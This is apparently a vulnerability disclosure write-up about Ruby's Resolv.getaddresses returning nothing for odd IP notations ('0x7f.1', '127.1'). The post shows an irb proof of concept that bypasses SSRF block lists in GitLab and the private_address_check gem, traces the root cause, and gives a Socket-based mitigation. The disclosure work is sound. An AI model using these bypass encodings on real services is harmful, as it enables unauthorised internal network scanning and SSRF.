&lt;pre tabindex="0"&gt;&lt;code&gt;irb(main):008:0&amp;gt; Resolv.getaddresses(&amp;#34;127.0.0.1&amp;#34;)
=&amp;gt; [&amp;#34;127.0.0.1&amp;#34;]
irb(main):009:0&amp;gt; Resolv.getaddresses(&amp;#34;localhost&amp;#34;)
=&amp;gt; [&amp;#34;127.0.0.1&amp;#34;]
irb(main):010:0&amp;gt; Resolv.getaddresses(&amp;#34;127.000.000.1&amp;#34;)
=&amp;gt; [] # 😱
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This issue is reproducible in the latest stable build of Ruby:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-no-highlight" data-lang="no-highlight"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ ruby -v
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ruby 2.4.3p201 (2017-10-11 revision 60168) [x86_64-linux]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ irb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;irb(main):001:0&amp;gt; require &amp;#39;resolv&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;=&amp;gt; true
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;irb(main):002:0&amp;gt; Resolv.getaddresses(&amp;#34;127.000.001&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;=&amp;gt; []
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="proof-of-concept"&gt;Proof of concept&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;irb(main):001:0&amp;gt; require &amp;#39;resolv&amp;#39;
=&amp;gt; true
irb(main):002:0&amp;gt; uri = &amp;#34;0x7f.1&amp;#34;
=&amp;gt; &amp;#34;0x7f.1&amp;#34;
irb(main):003:0&amp;gt; server_ips = Resolv.getaddresses(uri)
=&amp;gt; [] # The bug!
irb(main):004:0&amp;gt; blocked_ips = [&amp;#34;127.0.0.1&amp;#34;, &amp;#34;::1&amp;#34;, &amp;#34;0.0.0.0&amp;#34;]
=&amp;gt; [&amp;#34;127.0.0.1&amp;#34;, &amp;#34;::1&amp;#34;, &amp;#34;0.0.0.0&amp;#34;]
irb(main):005:0&amp;gt; (blocked_ips &amp;amp; server_ips).any?
=&amp;gt; false # Bypass
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="root-cause"&gt;Root cause&lt;/h2&gt;
&lt;p&gt;The following section describes the root cause of this bug. I have added some comments in the code snippets to help the reader follow along.&lt;/p&gt;
&lt;p&gt;When we run irb in debug mode (&lt;code&gt;irb -d&lt;/code&gt;) the following error is returned:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;irb(main):002:0&amp;gt; Resolv.getaddresses &amp;#34;127.1&amp;#34;
Exception `Resolv::DNS::Config::NXDomain&amp;#39; at /usr/lib/ruby/2.3.0/resolv.rb:549 - 127.1
Exception `Resolv::DNS::Config::NXDomain&amp;#39; at /usr/lib/ruby/2.3.0/resolv.rb:549 - 127.1
=&amp;gt; []
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So the exception stems from &lt;code&gt;fetch_resource()&lt;/code&gt; &lt;sup&gt;&lt;a href="https://github.com/ruby/ruby/blob/e16bd0f4d81ef74035712853a5eb527f28abb342/lib/resolv.rb#L514-L554"&gt;[1]&lt;/a&gt;&lt;/sup&gt;. The &amp;ldquo;NXDOMAIN&amp;rdquo; response indicates that the resolver cannot find a corresponding PTR record. No surprise there, since, as we will see later on, &lt;code&gt;resolv.rb&lt;/code&gt; uses the operating system&amp;rsquo;s resolver.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-no-highlight" data-lang="no-highlight"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# Reverse DNS lookup on 💻 Machine 1.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ nslookup 127.0.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Server: 127.0.0.53
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Address: 127.0.0.53#53
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Non-authoritative answer:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;1.0.0.127.in-addr.arpa name = localhost.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Authoritative answers can be found from:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ nslookup 127.000.000.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Server: 127.0.0.53
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Address: 127.0.0.53#53
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Non-authoritative answer:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Name: 127.000.000.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Address: 127.0.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# NXDOMAIN for 127.1.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ nslookup 127.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Server: 127.0.0.53
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Address: 127.0.0.53#53
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;** server can&amp;#39;t find 127.1: NXDOMAIN
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now the following code snippets demonstrate why &lt;code&gt;Resolv::getaddresses&lt;/code&gt; is OS-dependent.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;getaddresses&lt;/code&gt; takes the address (&lt;code&gt;name&lt;/code&gt;) and passes it on to &lt;code&gt;each_address&lt;/code&gt; where once it has been resolved it is appended to the &lt;code&gt;ret&lt;/code&gt; array.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ruby" data-lang="ruby"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# File lib/resolv.rb, line 100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;getaddresses&lt;/span&gt;(name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# This is the &amp;#34;ret&amp;#34; array.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ret &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#f92672"&gt;[]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# This is where &amp;#34;address&amp;#34; is appended to the &amp;#34;ret&amp;#34; array.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; each_address(name) {&lt;span style="color:#f92672"&gt;|&lt;/span&gt;address&lt;span style="color:#f92672"&gt;|&lt;/span&gt; ret &lt;span style="color:#f92672"&gt;&amp;lt;&amp;lt;&lt;/span&gt; address}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; ret
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;each_address&lt;/code&gt; runs the &lt;code&gt;name&lt;/code&gt; through &lt;code&gt;@resolvers&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ruby" data-lang="ruby"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# File lib/resolv.rb, line 109&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;each_address&lt;/span&gt;(name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;AddressRegex&lt;/span&gt; &lt;span style="color:#f92672"&gt;=~&lt;/span&gt; name
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;yield&lt;/span&gt; name
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; yielded &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# &amp;#34;name&amp;#34; is passed on to the resolver here.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; @resolvers&lt;span style="color:#f92672"&gt;.&lt;/span&gt;each {&lt;span style="color:#f92672"&gt;|&lt;/span&gt;r&lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; r&lt;span style="color:#f92672"&gt;.&lt;/span&gt;each_address(name) {&lt;span style="color:#f92672"&gt;|&lt;/span&gt;address&lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;yield&lt;/span&gt; address&lt;span style="color:#f92672"&gt;.&lt;/span&gt;to_s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; yielded &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; yielded
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;@resolvers&lt;/code&gt; is initialised in &lt;code&gt;initialize()&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ruby" data-lang="ruby"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# File lib/resolv.rb, line 109&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;initialize&lt;/span&gt;(resolvers&lt;span style="color:#f92672"&gt;=[&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;Hosts&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;new, &lt;span style="color:#66d9ef"&gt;DNS&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;new&lt;span style="color:#f92672"&gt;]&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; @resolvers &lt;span style="color:#f92672"&gt;=&lt;/span&gt; resolvers
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Further on, &lt;code&gt;initialize&lt;/code&gt; is actually initialised by setting &lt;code&gt;config_info&lt;/code&gt; to &lt;code&gt;nil&lt;/code&gt; which uses the default configuration in this case &lt;code&gt;/etc/resolv.conf&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ruby" data-lang="ruby"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# File lib/resolv.rb, line 308&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Set to /etc/resolv.conf ¯\_(ツ)_/¯&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;initialize&lt;/span&gt;(config_info&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; @mutex &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;Thread&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;Mutex&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;new
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; @config &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;Config&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;new(config_info)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; @initialized &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here is the default configuration:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ruby" data-lang="ruby"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# File lib/resolv.rb, line 959&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Config&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;default_config_hash&lt;/span&gt;(filename&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;/etc/resolv.conf&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;File&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;exist? filename
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; config_hash &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;Config&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;parse_resolv_conf(filename)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#e6db74"&gt;/mswin|cygwin|mingw|bccwin/&lt;/span&gt; &lt;span style="color:#f92672"&gt;=~&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;RUBY_PLATFORM&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; require &lt;span style="color:#e6db74"&gt;&amp;#39;win32/resolv&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; search, nameserver &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;Win32&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;Resolv&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get_resolv_info
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; config_hash &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; config_hash&lt;span style="color:#f92672"&gt;[&lt;/span&gt;&lt;span style="color:#e6db74"&gt;:nameserver&lt;/span&gt;&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; nameserver &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; nameserver
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; config_hash&lt;span style="color:#f92672"&gt;[&lt;/span&gt;&lt;span style="color:#e6db74"&gt;:search&lt;/span&gt;&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;search&lt;span style="color:#f92672"&gt;].&lt;/span&gt;flatten &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; search
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; config_hash &lt;span style="color:#f92672"&gt;||&lt;/span&gt; {}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This demonstrates that &lt;code&gt;Resolv::getaddresses&lt;/code&gt; is OS-dependent and that &lt;code&gt;getaddresses&lt;/code&gt; returns an empty &lt;code&gt;ret&lt;/code&gt; array when supplied with an IP address that fails during a reverse DNS lookup.&lt;/p&gt;
&lt;h2 id="mitigation"&gt;Mitigation&lt;/h2&gt;
&lt;p&gt;I suggest staying away from &lt;code&gt;Resolv::getaddresses&lt;/code&gt; altogether and using the &lt;code&gt;Socket&lt;/code&gt; library.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;irb(main):002:0&amp;gt; Resolv.getaddresses(&amp;#34;127.1&amp;#34;)
=&amp;gt; []
irb(main):003:0&amp;gt; Socket.getaddrinfo(&amp;#34;127.1&amp;#34;, nil).sample[3]
=&amp;gt; &amp;#34;127.0.0.1&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The Ruby Core dev team suggested using the same library.&lt;/p&gt;
&lt;blockquote&gt;
The right way to check an address is using OS's resolver instead of resolv.rb if the address is resolved by OS's resolver. For example, Addrinfo.getaddrinfo of socket library can be used.
&lt;br&gt;
&lt;span&gt;- Tanaka Akira&lt;/span&gt;
&lt;/blockquote&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;% ruby -rsocket -e &amp;#39;
as = Addrinfo.getaddrinfo(&amp;#34;192.168.0.1&amp;#34;, nil)
p as
p as.map {|a| a.ipv4_private? }
&amp;#39;
[#&amp;lt;Addrinfo: 192.168.0.1 TCP&amp;gt;, #&amp;lt;Addrinfo: 192.168.0.1 UDP&amp;gt;, #&amp;lt;Addrinfo: 192.168.0.1 SOCK_RAW&amp;gt;]
[true, true, true]
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="affected-applications-and-gems"&gt;Affected Applications and gems&lt;/h2&gt;
&lt;h3 id="gitlab-community-edition-and-enterprise-edition"&gt;GitLab Community Edition and Enterprise Edition&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Link to report: &lt;a href="https://hackerone.com/reports/215105"&gt;https://hackerone.com/reports/215105&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The fix for &lt;a href="https://hackerone.com/strukt"&gt;Mustafa Hasan&lt;/a&gt;&amp;rsquo;s &lt;a href="https://hackerone.com/reports/135937"&gt;report&lt;/a&gt; (&lt;a href="https://gitlab.com/gitlab-org/gitlab-ce/issues/17286"&gt;!17286&lt;/a&gt;) could be easily bypassed by abusing this bug. GitLab introduced an exclusion list, but would resolve the user-supplied address using &lt;code&gt;Resolv::getaddresses&lt;/code&gt; and then compare the output to the values in the exclusion list. This meant that one could no longer use certain addresses such as &lt;code&gt;http://127.0.0.1&lt;/code&gt; and &lt;code&gt;http://localhost/&lt;/code&gt;, which Mustafa Hasan used in the original report. The bypasses allowed me to scan a GitLab intance&amp;rsquo;s internal network.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/32322200-fed2e176-bfc3-11e7-8bc1-e2dc241abf6b.png" alt="Error message - Open port" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/32322478-ec02630e-bfc4-11e7-9d76-d481d27db8f3.png" alt="Error message - Closed port" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;GitLab have provided a patch: &lt;a href="https://about.gitlab.com/2017/11/08/gitlab-10-dot-1-dot-2-security-release/"&gt;https://about.gitlab.com/2017/11/08/gitlab-10-dot-1-dot-2-security-release/&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="private_-by-john-downey"&gt;&lt;a href="https://github.com/jtdowney/private_address_check"&gt;private_address_check&lt;/a&gt; by &lt;a href="https://twitter.com/jtdowney"&gt;John Downey&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Link to report: &lt;a href="https://github.com/jtdowney/private_address_check/issues/1"&gt;https://github.com/jtdowney/private_address_check/issues/1&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/jtdowney/private_address_check"&gt;private_address_check&lt;/a&gt; is a Ruby gem that helps prevent SSRF. The actual filtering takes place in &lt;code&gt;lib/private_address_check.rb&lt;/code&gt;. The process starts by attempting to resolve the user-supplied URL with &lt;code&gt;Resolv::getaddresses&lt;/code&gt; and then compares the returned value with a the values in the blacklist. Once again I was able to use the same technique as before with GitLab to bypass this filter.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ruby" data-lang="ruby"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# File lib/private_address_check.rb, line 32&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;resolves_to_private_address?&lt;/span&gt;(hostname)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ips &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;Resolv&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;getaddresses(hostname)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ips&lt;span style="color:#f92672"&gt;.&lt;/span&gt;any? &lt;span style="color:#66d9ef"&gt;do&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;ip&lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; private_address?(ip)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Consequently, &lt;a href="https://hackerone.com/reports/287245"&gt;HackerOne was affected by this bypass&lt;/a&gt;, because they use the &lt;em&gt;private_address_check&lt;/em&gt; gem to prevent SSRF on the &amp;ldquo;Integrations&amp;rdquo; panel: &lt;code&gt;https://hackerone.com/{BBP}/integrations&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/32408319-5f50eb78-c196-11e7-8aee-c6ffd572597f.png" alt="HackerOne - Blocked Address" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/32408337-7bcdd874-c196-11e7-9fcc-1de5283bd7b0.png" alt="HackerOne - Bypass" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;Unfortunately, I was unable to exploit this SSRF and therefore the issue only consisted of a filter bypass. HackerOne still encouraged me to report it, because they take any potential security issue into consideration and this bypass demonstrated a potential risk.&lt;/p&gt;
&lt;p&gt;This issue was patched in &lt;a href="https://github.com/jtdowney/private_address_check/commit/58a0d7fe31de339c0117160567a5b33ad82b46af"&gt;version 0.4.0&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="unaffected-applications-and-gems"&gt;Unaffected applications and gems&lt;/h2&gt;
&lt;h3 id="ssrf_-by-arkadiy-tetelman"&gt;&lt;a href="https://github.com/arkadiyt/ssrf_filter"&gt;ssrf_filter&lt;/a&gt; by &lt;a href="https://twitter.com/arkadiyt"&gt;Arkadiy Tetelman&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;This gem is not vulnerable, because it checks if the value returned is empty.&lt;/p&gt;
